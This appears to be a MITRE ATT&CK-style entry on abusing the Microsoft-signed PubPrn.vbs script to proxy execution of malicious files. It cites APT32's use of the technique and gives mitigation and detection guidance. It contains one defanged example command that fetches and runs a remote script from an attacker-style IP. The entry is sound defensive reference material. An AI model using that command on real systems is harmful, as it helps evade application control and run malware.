Signed Script Proxy Execution: PubPrn
Adversaries may use the trusted PubPrn script to proxy execution of malicious files. This behavior may bypass signature validation restrictions and application control solutions that do not account for use of these scripts.
PubPrn.vbs is a Visual Basic script that publishes a printer to Active Directory Domain Services. The script is signed by Microsoft and can be used to proxy execution from a remote site.[1] An example command is cscript C[:]\Windows\System32\Printing_Admin_Scripts\en-US\pubprn[.]vbs 127.0.0.1 script:http[:]//192.168.1.100/hi.png.
Procedure Examples
| Name | Description |
|---|---|
| APT32 |
APT32 has used PubPrn.vbs within execution scripts to execute malware, possibly bypassing defenses.[2] |
Mitigations
| Mitigation | Description |
|---|---|
| Execution Prevention |
Certain signed scripts that can be used to execute other programs may not be necessary within a given environment. Use application control configured to block execution of these scripts if they are not required for a given system or network to prevent potential misuse by adversaries. |
Detection
Monitor script processes, such as cscript, and command-line parameters for scripts like PubPrn.vbs that may be used to proxy execution of malicious files.